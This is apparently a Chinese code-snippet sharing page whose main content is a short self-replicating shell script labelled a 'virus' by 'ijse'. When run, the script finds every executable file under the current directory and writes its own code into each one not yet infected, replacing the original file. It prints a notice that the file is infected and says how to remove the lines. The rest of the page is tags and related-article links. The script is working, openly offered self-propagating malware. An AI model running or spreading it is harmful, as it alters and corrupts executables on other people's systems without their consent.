返回顶部

收藏

将自身插入到其它shell脚本文件中

更多
#!/bin/sh
#Virus by ijse start
#=====Your Code Here=========
echo "!This file has been infected by CpVirus written by ijse."
echo "!You can remove the virus code by editing this file."
echo "!Just remove the lines between '#Virus by ijse start' and '#Virus by ijse end'."
#============================
for exfile in `find ./ -executable -type f`;
do
    tmpFile=$exfile\.tmp
    firstLine=`head -2 $exfile|tail -1`
    if [ "$firstLine" != "#Virus by ijse start" ]; then
        endnum=`grep -n -x "#Virus by ijse end" $0 | awk -F":" '{print $1}'`
        startnum=`grep -n -x "#Virus by ijse start" $0 | awk -F":" '{print $1}'`
        let length=$endnum-$startnum+1
        echo "`head -$endnum $0|tail -$length`" > $tmpFile
        cat $exfile >> $tmpFile
        chmod u+x $tmpFile
        rm $exfile
        mv $tmpFile $exfile
    fi
done
#Virus by ijse end

标签:bash

收藏

0人收藏

支持

0

反对

0

相关聚客文章
  1. phpor 发表 2018-07-16 02:30:59 cfree ( free in container)
  2. phpor 发表 2018-07-16 02:30:59 cfree ( free in container)
  3. phpor 发表 2018-07-16 03:10:37 count words in bash without wc
  4. phpor 发表 2018-07-16 07:54:08 bash 获取所有pid
  5. phpor 发表 2018-07-16 08:16:07 bash 之 printf
  6. phpor 发表 2018-07-16 08:16:07 bash 之 printf
  7. techug 发表 2018-07-11 01:43:11 译 | 关于bash函数你不知道的一些事情
  8. 孤独求学人 发表 2018-05-14 15:29:43 "Exit Trap” 让你的 Bash 脚本更稳固可靠
  9. wklken 发表 2018-06-29 16:00:00 [分享]bash日常: bash-utils
  10. techug 发表 2018-06-17 02:25:02 写好shell脚本的13个技巧
  11. xiayf 发表 2018-05-15 16:00:00 编写漂亮的 shell 代码
  12. phpor 发表 2018-06-11 03:18:34 bash 对单行中的单词进行排序

发表评论